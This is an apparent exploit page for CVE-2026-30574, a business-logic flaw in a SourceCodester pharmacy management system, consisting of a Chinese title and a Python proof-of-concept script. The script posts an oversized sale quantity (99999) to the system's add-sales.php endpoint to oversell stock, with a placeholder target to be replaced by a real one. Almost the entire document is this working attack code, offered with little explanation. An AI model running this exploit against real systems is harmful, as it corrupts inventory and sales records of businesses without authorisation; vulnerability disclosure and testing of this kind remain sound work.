CVE-2026-30574 SourceCodester药房系统业务逻辑漏洞

import requests def exploit(target_url): # Target endpoint for adding sales url = f"{target_url}/add-sales.php" # Malicious payload: requesting a quantity (99999) that exceeds stock # Adjust 'product_id' based on the actual target product ID payload = { "product_id": "1", "txtqty": "99999", # Overselling quantity "submit": "Submit" } try: response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check the inventory to verify data integrity impact.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1/pharmacy_system" # Replace with actual target exploit(target)